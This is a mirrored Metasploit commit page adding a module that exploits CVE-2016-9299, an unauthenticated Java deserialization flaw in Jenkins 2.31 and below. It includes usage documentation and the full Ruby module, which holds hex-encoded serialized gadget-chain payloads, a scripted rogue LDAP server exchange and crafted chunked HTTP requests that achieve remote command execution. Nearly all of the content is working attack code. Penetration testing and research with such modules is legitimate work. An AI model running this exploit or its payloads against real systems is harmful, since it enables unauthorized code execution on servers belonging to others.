mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #7815, CVE-2016-9299 exploit
This commit is contained in:
commit
436e414b93
@ -0,0 +1,69 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Jenkins 2.31 or below is vulnerable and can be downloaded from [updates.jenkins-ci.org](https://updates.jenkins-ci.org/download/war/2.31/jenkins.war)
|
||||
|
||||
This vulnerability does not require authentication and only HTTP access to the vulnerable application is required.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Download [jenkins 2.31](https://updates.jenkins-ci.org/download/war/2.31/jenkins.war)
|
||||
2. Install jenkins ```java -jar jenkins.war```
|
||||
3. Start ```msfconsole```
|
||||
4. Do: ```use exploit/linux/misc/jenkins_ldap_deserialize```
|
||||
5. Do: ```set RHOST [target host]```
|
||||
6. Do: ```set PAYLOAD cmd/unix/generic```
|
||||
7. Do: ```set CMD 'touch /tmp/wtf'```
|
||||
8. Do: ```run```
|
||||
7. It should create /tmp/wtf on the target host.
|
||||
|
||||
## Required Options
|
||||
|
||||
**RHOST**
|
||||
|
||||
The address of the jenkins server.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**RPORT**
|
||||
|
||||
The http port for the jenkins server. (Defaults to 8080)
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to the target instance of Jenkins. (Defaults to /)
|
||||
|
||||
**SRVHOST**
|
||||
|
||||
The local address to listen for the LDAP request on. (Defaults to 127.0.0.1)
|
||||
|
||||
**SRVPORT**
|
||||
|
||||
The local port to listen for the LDAP request on. (Defaults to 1389)
|
||||
|
||||
**LDAPHOST**
|
||||
|
||||
The ldap host the exploit will connect to. Can be different from ```SRVHOST``` if in a environment where there is port forwarding. (Defaults to 127.0.0.1)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example usage against a unix target running Jenkins 2.31.
|
||||
|
||||
```
|
||||
msf > use exploit/linux/misc/jenkins_ldap_deserialize
|
||||
msf exploit(jenkins_ldap_deserialize) > set TARGETURI /
|
||||
TARGETURI => /
|
||||
msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf exploit(jenkins_ldap_deserialize) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
|
||||
PAYLOAD => cmd/unix/generic
|
||||
msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
|
||||
CMD => touch /tmp/wtf
|
||||
msf exploit(jenkins_ldap_deserialize) > run
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
```
|
350
modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
Normal file
350
modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
Normal file
@ -0,0 +1,350 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
STAGE1 = "aced00057372002b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee17184980300007870770400000002737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0003787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740008041ac080131d170678787371007e00090000000077040000000078737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001f636f6d2e73756e2e6a6e64692e6c6461702e4c646170417474726962757465c47b6b02a60583c00300034c000a62617365437478456e767400154c6a6176612f7574696c2f486173687461626c653b4c000a6261736543747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e6469726563746f72792e42617369634174747269627574655d95d32a668565be0300025a00076f7264657265644c000661747472494471007e001778700074000077040000000078707400156c6461703a2f2f6c6f63616c686f73743a313233347372001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe0300007870770400000000787871007e000e707871007e000e78"
|
||||
# java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 'touch /tmp/wtf'
|
||||
STAGE2 = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000e746f756368202f746d702f777466740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878"
|
||||
|
||||
SEARCH_REQUEST = 3
|
||||
SEARCH_RES_ENTRY = 4
|
||||
SEARCH_RES_DONE = 5
|
||||
ABANDON_REQUEST = 16
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Jenkins CLI HTTP Java Deserialization Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
|
||||
the Jenkins, which allows remote arbitrary code execution via HTTP. Authentication is not
|
||||
required to exploit this vulnerability.
|
||||
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Matthias Kaiser', # Original Vulnerability discovery
|
||||
'Alisa Esage', # Private Exploit
|
||||
'Ivan', # Metasploit Module Author
|
||||
'YSOSerial' #Stage 2 payload
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux', 'unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [ [ 'Jenkins 2.31', {} ] ],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-9299'],
|
||||
['URL', 'https://github.com/jenkinsci-cert/SECURITY-218'],
|
||||
['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16'],
|
||||
['URL', 'http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition'],
|
||||
['URL', 'https://github.com/frohoff/ysoserial']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd'
|
||||
}
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 16 2016'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
|
||||
Opt::RPORT('8080'),
|
||||
OptAddress.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]),
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on for the ldap server.", 1389 ]),
|
||||
OptAddress.new('LDAPHOST', [ true, "The ldap host the exploit will try to connect to ", '127.0.0.1' ])
|
||||
])
|
||||
end
|
||||
|
||||
def target_uri
|
||||
begin
|
||||
URI(datastore['TARGETURI'])
|
||||
rescue ::URI::InvalidURIError
|
||||
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
|
||||
raise Msf::OptionValidateError.new(['TARGETURI'])
|
||||
end
|
||||
end
|
||||
|
||||
def normalize_uri(*strs)
|
||||
new_str = strs * "/"
|
||||
|
||||
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
||||
|
||||
# Makes sure there's a starting slash
|
||||
unless new_str[0,1] == '/'
|
||||
new_str = '/' + new_str
|
||||
end
|
||||
|
||||
new_str
|
||||
end
|
||||
|
||||
def aseq(x, tag)
|
||||
s = seq(x)
|
||||
s.tag_class = :APPLICATION
|
||||
s.tag = tag
|
||||
s
|
||||
end
|
||||
|
||||
def seq(x)
|
||||
OpenSSL::ASN1::Sequence.new(x)
|
||||
end
|
||||
|
||||
def int(x)
|
||||
OpenSSL::ASN1::Integer.new(x)
|
||||
end
|
||||
|
||||
def string(x)
|
||||
OpenSSL::ASN1::OctetString.new(x)
|
||||
end
|
||||
|
||||
def set(x)
|
||||
OpenSSL::ASN1::Set.new(x)
|
||||
end
|
||||
|
||||
def enum(x)
|
||||
OpenSSL::ASN1::Enumerated.new(x)
|
||||
end
|
||||
|
||||
|
||||
def java_string(s)
|
||||
length = s.length
|
||||
|
||||
packed_length = [length].pack("S>")
|
||||
|
||||
"#{packed_length}#{s}"
|
||||
end
|
||||
|
||||
def search_res_done(message_id)
|
||||
s = seq([
|
||||
int(message_id),
|
||||
aseq([enum(0), string(""), string("")], SEARCH_RES_DONE)
|
||||
])
|
||||
s.to_der
|
||||
end
|
||||
|
||||
def make_stage2(command)
|
||||
[STAGE2].pack("H*").gsub("\x00\x0Etouch /tmp/wtf", java_string(command))
|
||||
end
|
||||
|
||||
|
||||
def make_stage2_reply(command, message_id)
|
||||
|
||||
java_class_name_attributes = seq([string("javaClassName"), set([string("WTF")])])
|
||||
java_serialized_data_attributes = seq([string("javaSerializedData"), set([string(make_stage2(command))])])
|
||||
attributes = seq([java_class_name_attributes, java_serialized_data_attributes])
|
||||
s = seq([
|
||||
int(message_id),
|
||||
aseq([string("cn=wtf, dc=example, dc=com"), attributes], SEARCH_RES_ENTRY)])
|
||||
s.to_der
|
||||
end
|
||||
|
||||
|
||||
|
||||
def make_stage1(ldap_url)
|
||||
[STAGE1].pack("H*").gsub("\x00\x15ldap://localhost:1234", java_string(ldap_url))
|
||||
end
|
||||
|
||||
|
||||
def read_ldap_packet(socket)
|
||||
|
||||
buffer = ""
|
||||
|
||||
bytes = socket.read(2)
|
||||
if bytes[0] != "0"
|
||||
raise "NOT_LDAP: #{bytes.inspect} #{bytes[0]}"
|
||||
end
|
||||
|
||||
buffer << bytes
|
||||
|
||||
length = bytes[1].ord
|
||||
if (length & (1<<7)) != 0
|
||||
length_bytes_length = length ^ (1<<7)
|
||||
|
||||
length_bytes = socket.read(length_bytes_length)
|
||||
buffer << length_bytes
|
||||
length = length_bytes.bytes.reduce(0) {|c, e| (c << 8) + e}
|
||||
end
|
||||
|
||||
buffer << socket.read(length)
|
||||
buffer
|
||||
end
|
||||
|
||||
|
||||
def write_chunk(socket, chunk)
|
||||
socket.write(chunk.bytesize.to_s(16) + "\r\n")
|
||||
socket.write(chunk)
|
||||
socket.write("\r\n")
|
||||
end
|
||||
|
||||
def exploit
|
||||
uuid = SecureRandom.uuid
|
||||
|
||||
ldap_port = datastore["SRVPORT"]
|
||||
ldap_host = datastore["SRVHOST"]
|
||||
ldap_external_host = datastore["LDAPHOST"]
|
||||
|
||||
command = payload.encoded
|
||||
host = datastore["RHOST"]
|
||||
|
||||
ldap = TCPServer.new(ldap_host, ldap_port)
|
||||
|
||||
cli_path = normalize_uri(target_uri.path, "cli")
|
||||
|
||||
begin
|
||||
|
||||
download = connect()
|
||||
|
||||
begin
|
||||
|
||||
download.write("POST #{cli_path} HTTP/1.1\r\n" +
|
||||
"Host: #{host}\r\n" +
|
||||
"User-Agent: curl/7.36.0\r\n" +
|
||||
"Accept: */*\r\n" +
|
||||
"Session: #{uuid}\r\n" +
|
||||
"Side: download\r\n" +
|
||||
"Content-Length: 0\r\n" +
|
||||
"Content-Type: application/x-www-form-urlencoded\r\n\r\n")
|
||||
|
||||
download.read(20)
|
||||
|
||||
upload = connect()
|
||||
begin
|
||||
upload.write("POST #{cli_path} HTTP/1.1\r\n" +
|
||||
"Host: #{host}\r\n" +
|
||||
"User-Agent: curl/7.36.0\r\n" +
|
||||
"Accept: */*\r\n" +
|
||||
"Session: #{uuid}\r\n" +
|
||||
"Side: upload\r\n" +
|
||||
"Content-type: application/octet-stream\r\n" +
|
||||
"Transfer-Encoding: chunked\r\n\r\n")
|
||||
|
||||
write_chunk(upload, "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=")
|
||||
write_chunk(upload, "\00\00\00\00")
|
||||
|
||||
upload.flush
|
||||
|
||||
stage1 = make_stage1("ldap://#{ldap_external_host}:#{ldap_port}")
|
||||
|
||||
chunk_header = [stage1.bytesize].pack("S>")
|
||||
write_chunk(upload, chunk_header + stage1)
|
||||
|
||||
upload.flush
|
||||
|
||||
client = ldap.accept
|
||||
begin
|
||||
|
||||
# this hardcodes an ldap conversation
|
||||
|
||||
# read bindRequest
|
||||
read_ldap_packet(client)
|
||||
|
||||
# write bindResponse
|
||||
client.write(["300c02010161070a010004000400"].pack("H*"))
|
||||
|
||||
# read searchRequest
|
||||
read_ldap_packet(client)
|
||||
|
||||
# write searchResEntry
|
||||
client.write(["3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"].pack("H*"))
|
||||
|
||||
# write searchResDone
|
||||
client.write(search_res_done(2))
|
||||
|
||||
# read abandonReqeust or searchRequest
|
||||
bytes = read_ldap_packet(client)
|
||||
packet = OpenSSL::ASN1.decode(bytes)
|
||||
|
||||
# abandonRequest packet is sometimes sent
|
||||
# so we distinguish between abandonRequest/searchRequest
|
||||
|
||||
tag = packet.value[1].tag
|
||||
if tag == ABANDON_REQUEST
|
||||
|
||||
bytes = read_ldap_packet(client)
|
||||
packet = OpenSSL::ASN1.decode(bytes)
|
||||
tag = packet.value[1].tag
|
||||
end
|
||||
|
||||
if tag == SEARCH_REQUEST
|
||||
|
||||
message_id = packet.value[0].value.to_int
|
||||
# write searchResEntry
|
||||
client.write(make_stage2_reply(command, message_id))
|
||||
|
||||
# write searchResDone
|
||||
client.write(search_res_done(message_id))
|
||||
else
|
||||
raise "Unexpected packet: #{tag}"
|
||||
end
|
||||
|
||||
client.flush
|
||||
ensure
|
||||
client.close
|
||||
end
|
||||
ensure
|
||||
upload.close
|
||||
end
|
||||
ensure
|
||||
download.close
|
||||
end
|
||||
|
||||
ensure
|
||||
ldap.close
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
result = Exploit::CheckCode::Safe
|
||||
|
||||
begin
|
||||
if vulnerable?
|
||||
result = Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
rescue Msf::Exploit::Failed => e
|
||||
vprint_error(e.message)
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def vulnerable?
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'The connection timed out.')
|
||||
end
|
||||
|
||||
http_headers = res.headers
|
||||
|
||||
http_headers['X-Jenkins'] && http_headers['X-Jenkins'] <= "2.31"
|
||||
end
|
||||
|
||||
# Connects to the server, creates a request, sends the request,
|
||||
# reads the response
|
||||
#
|
||||
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
|
||||
#
|
||||
def send_request_cgi(opts={}, timeout = 20)
|
||||
|
||||
begin
|
||||
c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
|
||||
c.connect
|
||||
r = c.request_cgi(opts)
|
||||
c.send_recv(r, timeout)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue
Block a user